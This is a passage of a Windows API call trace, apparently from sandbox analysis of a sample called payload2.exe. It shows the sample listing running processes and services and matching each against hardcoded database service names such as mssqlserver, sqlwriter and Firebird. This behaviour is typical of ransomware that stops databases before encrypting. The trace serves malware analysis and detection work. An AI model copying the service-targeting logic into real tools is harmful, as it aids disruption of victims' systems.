	[0172.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0172.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0172.652] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0172.652] lstrlenW (lpString="SysMain") returned 7
	[0172.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0172.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0172.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0172.652] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0172.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0172.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0172.652] lstrlenW (lpString="Themes") returned 6
	[0172.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0172.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0172.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0172.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0172.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0172.653] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0172.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.653] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0172.653] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0172.653] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44ec110 | out: hHeap=0x610000) returned 1
	[0172.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5b4
	[0172.665] Process32FirstW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0172.666] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0172.666] lstrlenW (lpString="System") returned 6
	[0172.666] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0172.667] lstrlenW (lpString="smss.exe") returned 8
	[0172.667] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.667] lstrlenW (lpString="csrss.exe") returned 9
	[0172.667] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0172.668] lstrlenW (lpString="wininit.exe") returned 11
	[0172.668] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.668] lstrlenW (lpString="csrss.exe") returned 9
	[0172.668] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0172.668] lstrlenW (lpString="winlogon.exe") returned 12
	[0172.668] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0172.669] lstrlenW (lpString="services.exe") returned 12
	[0172.669] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0172.670] lstrlenW (lpString="lsass.exe") returned 9
	[0172.670] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.670] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.670] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.671] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.671] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.671] lstrlenW (lpString="svchost.exe") returned 11
	[0172.671] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.672] lstrlenW (lpString="svchost.exe") returned 11
	[0172.672] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0172.672] lstrlenW (lpString="dwm.exe") returned 7
	[0172.672] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.673] lstrlenW (lpString="svchost.exe") returned 11
	[0172.673] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.673] lstrlenW (lpString="svchost.exe") returned 11
	[0172.673] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.674] lstrlenW (lpString="svchost.exe") returned 11
	[0172.674] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.674] lstrlenW (lpString="svchost.exe") returned 11
	[0172.674] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.675] lstrlenW (lpString="svchost.exe") returned 11
	[0172.675] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.675] lstrlenW (lpString="svchost.exe") returned 11
	[0172.675] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.675] lstrlenW (lpString="svchost.exe") returned 11
	[0172.676] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.676] lstrlenW (lpString="svchost.exe") returned 11
	[0172.676] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.676] lstrlenW (lpString="svchost.exe") returned 11
	[0172.676] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.677] lstrlenW (lpString="svchost.exe") returned 11
	[0172.677] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0172.677] lstrlenW (lpString="spoolsv.exe") returned 11
	[0172.677] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.678] lstrlenW (lpString="svchost.exe") returned 11
	[0172.678] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0172.678] lstrlenW (lpString="audiodg.exe") returned 11
	[0172.678] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0172.679] lstrlenW (lpString="sihost.exe") returned 10
	[0172.679] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.679] lstrlenW (lpString="svchost.exe") returned 11
	[0172.679] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0172.679] lstrlenW (lpString="taskhostw.exe") returned 13
	[0172.680] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0172.680] lstrlenW (lpString="msoia.exe") returned 9
	[0172.680] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0172.680] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0172.680] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0172.681] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0172.681] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0172.681] lstrlenW (lpString="Memory Compression") returned 18
	[0172.681] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0172.682] lstrlenW (lpString="explorer.exe") returned 12
	[0172.682] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0172.682] lstrlenW (lpString="SearchUI.exe") returned 12
	[0172.682] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0172.683] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0172.683] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0172.683] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0172.683] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0172.683] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0172.683] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0172.684] lstrlenW (lpString="payload2.exe") returned 12
	[0172.684] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0172.684] lstrlenW (lpString="cmd.exe") returned 7
	[0172.684] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0172.685] lstrlenW (lpString="conhost.exe") returned 11
	[0172.685] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0172.685] CloseHandle (hObject=0x5b4) returned 1
	[0172.685] Sleep (dwMilliseconds=0x1f4) 
	[0173.279] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668128
	[0173.281] EnumServicesStatusExW (in: hSCManager=0x668128, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0173.281] GetLastError () returned 0xea
	[0173.281] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x45c64c0
	[0173.281] EnumServicesStatusExW (in: hSCManager=0x668128, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c64c0, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c64c0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0173.283] CloseServiceHandle (hSCObject=0x668128) returned 1
	[0173.283] lstrlenW (lpString="AppXSvc") returned 7
	[0173.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0173.283] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0173.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0173.283] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0173.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0173.283] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0173.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0173.284] lstrlenW (lpString="Audiosrv") returned 8
	[0173.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0173.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0173.284] lstrlenW (lpString="BFE") returned 3
	[0173.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0173.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0173.284] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0173.284] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0173.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0173.284] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0173.284] lstrlenW (lpString="CDPSvc") returned 6
	[0173.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0173.284] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0173.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0173.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0173.285] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0173.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0173.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0173.285] lstrlenW (lpString="CryptSvc") returned 8
	[0173.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0173.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0173.285] lstrlenW (lpString="DcomLaunch") returned 10
	[0173.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0173.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0173.285] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0173.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0173.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0173.285] lstrlenW (lpString="Dhcp") returned 4
	[0173.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0173.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0173.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0173.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0173.286] lstrlenW (lpString="Dnscache") returned 8
	[0173.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0173.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0173.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0173.286] lstrlenW (lpString="DPS") returned 3
	[0173.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0173.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
